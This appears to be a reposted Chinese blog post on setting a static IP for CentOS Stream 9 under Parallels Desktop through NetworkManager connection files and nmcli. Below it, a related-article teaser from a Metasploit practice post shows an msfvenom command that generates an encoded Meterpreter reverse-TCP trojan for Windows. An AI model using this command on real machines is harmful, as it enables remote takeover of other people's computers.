Parallel Desktop下的Centos 9 ping通网络,配置静态ip的全过程

news2024/9/18 18:46:33

目录

  • 一、发现问题
    • 1. 找不到网卡配置文件
    • 2. 网络重启的命令一直无法执行成功
  • 二、分析问题
  • 三、解决问题
    • 系统环境
    • 1. 打开网卡配置文件
    • 2. 修改ipv4配置
    • 3. 重载网卡配置文件
    • 4. ping通,可以正常上网了
  • 四、疑问
    • 1. 如何确定自己是不是设置了静态ip
    • 2. DHCP是固定静态ip 的时候用的吗,我看到下面这篇文章说在配置中要取消掉呢?
  • 五、参考资料

一、发现问题

1. 找不到网卡配置文件

/etc/sysconfig/network-scripts目录下找不到网卡的配置文件

[parallels@localhost network-scripts]$ ls 
readme-ifcfg-rh.txt

2. 网络重启的命令一直无法执行成功

[root@cool-wangtongzhou system-connections]# service network restart 
Redirecting to /bin/systemctl restart network. service 
Failed to restart network. service: Unit network.service not found.

二、分析问题

为了让虚拟机ping通,搜了一天的资料,遇到了各种各样花里胡哨的问题,除了以上问题外,也遇到了一些琐碎的问题,中间也学习了不少。
从小白的角度,写了以下两篇文章:

  1. Parallel Desktop中按照的centos在切换root用户时,密码正确,但一直切换不成功,显示su: Authentication failure
  2. DHCP是什么?它有什么作用?其工作模式?工作原理?

在ping通过程中,遇到了一些问题并进行了一些尝试:

  • 遇到了找不到虚拟机网卡的问题,一直没有找到网友们说的eth系列的网卡,甚至在/etc/sysconfig/network-scripts路径下也只有一个txt文件,并没有看到任何网卡相关的配置文件
  • 于是自己定义了一下eth0这个配置文件,但它的网卡在哪里呢?我也不解。
  • service network restartsystemctl restart network这类命令在centos9里面是用不了的,所以会一直显示Failed
  • 尝试过关闭防火墙,也没用
  • 想着要重新安装一遍系统,由于太麻烦,就先搁着了
  • 想着要不要换个虚拟机软件试试,毕竟Parallels Desktop的参考文章还是没有VMware多,但想着会不会用VMware也会遇到类似的问题呢?这里不解决,去另一个软件也是会遇到一样的问题,那还不如在这里解决得了。
  • 最近学校有hadoop的课程,我又想着,那我这个Parallels Desktop后面要怎么搭建集群呢?难道只能够开一个虚拟机吗?

学校的网刚好不太好用,我就用手机搜了一下,Parallels Desktop虚拟机如何搭建集群,看到了这篇文章:使用虚拟机基于ubuntu22.04搭建hadoop分布式集群

里面有一个地方引起了我的注意:

于是我就思考着,会不会是系统版本的问题,果然,(露出马脚来了吧嘿嘿!!),一搜就被我搜出来了,在 centos9 中,是无法使用service network restart命令的,网卡的配置也改变了,在/etc/sysconfig/network-scripts目录下找不到网卡的配置文件了,需要到/etc/NetworkManager/system-connections目录下去找。

看了一天的资料,真的人都看麻了,没想到居然第二天在手机上,用另一种关键词去搜索,居然能够有所启发。


总结:

  • 搜索结果跟设备、关键词有关系
  • 答案基本上都能找得到,这些基本的操作,应该都有人踩过坑,只是有时候没有被找到而已。

学累了,就明天换个思路,继续学,换个姿势继续学,总会找到答案,总会找到解决方法的!!

三、解决问题

系统环境

系统版本
主机macOS,双核Intel Core i5macOS Monterey 版本12.2
虚拟机PDParallels Desktop 18 for Mac
虚拟机上安装系统centos9x86_64架构的Centos Stream release 9

1. 打开网卡配置文件

可以看到,我这里对应的网卡配置文件是enp0s5.connection,可以自己用到对应目录下去查看一下自己的网卡配置文件

贴一下代码:

[parallels@localhost ~]$ cd /etc/NetworkManager/system-connections
[parallels@localhost system-connections]$ ls
enp0s5.nmconnection
[parallels@localhost system-connections]$ sudo vim /etc/NetworkManager/system-connections/enp0s5.nmconnection

2. 修改ipv4配置

i进入 INSERT模式,然后就可以开始编辑了,退出的话,就按esc,然后保存按:,输入wq保存修改内容,后面我抽时间写一下Linux基本操作来分享给大家。

配置其中的[ipv4]为手动模式,并为其设置ip

请添加图片描述

这里的IP地址要在起始地址结束地址之间(在偏好设置里面查看,用的是Shared模式)。

注:在配置文件中,不要擅自添加空格,可能会造成无法识别。

3. 重载网卡配置文件

[parallels@localhost ~]$ sudo nmcli c reload
[parallels@localhost ~]$ sudo nmcli c up enp0s5

使用ifconfig查看网卡配置信息,修改成功。
请添加图片描述


4. ping通,可以正常上网了


四、疑问

1. 如何确定自己是不是设置了静态ip

答:如果手动设置了IPv4地址,则该地址为静态IP地址。

2. DHCP是固定静态ip 的时候用的吗,我看到下面这篇文章说在配置中要取消掉呢?

Paralles 虚拟机安装及网络配置–设置静态ip
答:DHCP分为静态分配IP地址动态分配IP地址
这里ipv4设置了manual手动模式,就是将IP地址配置设置为静态IP


五、参考资料

  1. CentOS Stream 9 配置静态 IP
  2. centOS7启用(运行)NetworkManager管理网络
  3. Paralles 虚拟机安装及网络配置–设置静态ip
  4. 超详细虚拟机与主机网络连接以及互Ping不通问题的解决
  5. 如何检查CentOS 版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/639141.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OC(iOS)中常见的面试题汇整(大全)

你如何理解OC这门语言的?谈一下你对OC的理解? OC语言是C语言的一个超集,只是在C语言的基础上加上了面向对象的语言特征,如:继承,封装,多态. 封装:把属性和方法封装成一个类,方便我们使用 多态:不同对象对于同一消息的不同响应,子类可以重写父类的方法,且…

SpringMVC简介及入门案例

1.SpringMVC简介 SpringMVC是一种基于Java实现MVC模型的轻量级Web框架优点:相较于Servlet使用简单,开发便捷。灵活性比较强。 后端做表现层技术开发的框架有Servlet,SpringMVC技术同样也是做表现层技术开发框架,JDBC以及Mybatis数…

Linux内核中内存管理相关配置项的详细解析6

接前一篇文章:Linux内核中内存管理相关配置项的详细解析5 六、Memory hotplug 此项只有选中和不选中两种状态,默认为选中。 此项展开后如下图所示: 1. Online the newly added memory blocks by default 对应配置变量为:CONFIG…

神经网络编程基础

1、二分类(Binary Classification) (1)、逻辑回归(logistic regression)是一个用于二分类(binary classification)的算法。所谓二分类是由输入到判断输出结果是或者不是。比如输入一个包含动物的图片,判断这张图片中的动物是否包含猫&#x…

成为优秀自动化测试工程师的7个步骤

在这里,我将详细解释成为测试自动化工程师的七个最重要的步骤。因此,所有希望将职业转向自动化测试的人都要注意所有这些。 1. 不要忽视手动测试 虽然我了解公司正在转向无代码自动化测试工具,达到专家级别并跟上行业自动化测试工程师的竞争…

ELK 日志采集使用

1.安装ELK整体环境 1.1.安装docker环境 Docker 最新版Version 20.10安装_docker最新版本是多少_猿小飞的博客-CSDN博客 1.2.先安装docker compose 安装docker compose_猿小飞的博客-CSDN博客 1.3.使用 Docker Compose 搭建 ELK 环境 1.3.1.编写 docker-compose.yml 脚本启…

从增强器Advisor窥探AOP原理

Spring创建Aop代理过程 AbstractAutowireCapableBeanFactory Object createBean(String beanName, RootBeanDefinition mbd, Nullable Object[] args)Object resolveBeforeInstantiation(String beanName, RootBeanDefinition mbd)Object applyBeanPostProcessorsBeforeInsta…

【算法基础】常数操作 时间复杂度 选择排序 冒泡排序 插入排序 位运算

常数操作 定义 一个操作如果和样本的数据量没有关系,每次都是固定时间内完成的操作叫做常数操作,比如常见的计算操作:加减乘除。 取出数组中任意位置元素可以叫做常数操作,因为数组的地址是连续的,计算机取的时候可以…

本地加密传输测试-业务安全测试实操(2)

3个测试点:加密传输,session会话,session注销会话 测试原理和方法 本机加密传输测试是针对客户端与服务器的数据传输,查看数据是否采用SSL (Security Socket Layer ,安全套接层)加密方式加密。 测试过程 测试验证客户端与服务器交互数据在网络传输过程中是否采用 SSL 进…

Linux基础知识4

Linux基础知识 适合有Linux基础的人群进行复习。 禁止转载! shell编程 shell第一行内容格式? #!bin/sh,#!bin/bash,#!/bin/csh,#!/bin/tcsh或#!/bin/ksh等 执行shell脚本的三种方式 (1)为shell脚本直接加上可执行权…

【STL】 string类使用一站式攻略

目录 一,STL 1. 简介 2. STL的版本 3. STL 六大组件 4. 学习STL, 三境界 5. 学会查看C文档 二, string类 1. 相对于C语言,我们为什么还需要学习C的string? 2. 头文件 3. 常见构造函数 4. operator …

十三、SpringCloud

一、基本概念 Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。 Spr…

HQChart实战教程62-自定义K线标题栏

HQChart实战教程62-自定义K线标题栏 K线标题栏步骤1. 替换k线标题格式化输出函数2. 格式化输出函数说明HQChart插件源码地址完整的demo源码K线标题栏 K线标题栏显示的是当前十字光标所在位置的K线信息,显示在K线窗口顶部。一般会显示品种的名称,周期,开,高,低,收,成交量…

msf渗透练习-生成木马控制window系统

说明: 本章内容,仅供学习,不要用于非法用途(做个好白帽) (一)生成木马 命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.23.46 LPORT4444 -e x86/shikata_ga_nai -…

AB32VG:SDK_AB53XX_V061(3)IO口复用功能的补充资料

文章目录 1.IO口功能复用表格2.功能映射寄存器 FUNCTION03.功能映射寄存器 FUNCTION14.功能映射寄存器 FUNCTION2 AB5301A的官方数据手册很不完善,没有开放出来。我通过阅读源码补充了一些关于IO口功能复用寄存器的资料。 官方寄存器文档:《 AB32VG1_Re…

Shapefile资源下载网址(整理自用)

1、按国家下载(路网、自然特征、POI、江河海...) 不同国家的数据资源可能不一样。 Download Free International World Country ArcGIS Arc GIS Shapefiles 2、按国家下载(行政划分) 自动包含国家、省、城市等多级的shapefile …

Bitmap和Drawable的区别

日记 其实感觉最近事情挺多的,所有最近很多博客都是中午或者晚上休息的时候写的,甚至是项目编译的时候编写的。说真的,我最近感觉,对于那种大量的时间,我反而不能很好的运用,反而对于碎片时间,…

数据结构之堆的详解

数据结构之堆 一.堆的概念1.1 堆的基本概念1.2 堆的存储方式 二.堆的操作和实现基本框架建堆插入删除 三.堆的应用优先队列top-k问题:最小的K个数或者最大k个数堆排序 一.堆的概念 1.1 堆的基本概念 堆是一种特殊的完全二叉树 堆分为小根堆和大根堆,大根堆的根节…

Notes/Domino 14 Drop1

大家好,才是真的好。 2023年5月31号,Notes/Domino 14 Drop1如约而至。在晚上照理检查了一下Notes相关博客时,就发现该版本现在可以下载。一诺千金,信若尾生,这是我对14版本的第一个评价。 很多人关心Notes/Domino 14…

【redis-初级】redis安装

文章目录 1.非关系型数据库(NoSQL)2.在Linux上安装redis2.1 安装前准备2.2 安装2.3 启动2.4 关闭 3. redis客户端3.1 命令客户端3.2redis远程客户端3.3 redis编程客户端 1.非关系型数据库(NoSQL) 2.在Linux上安装redis 2.1 安装前…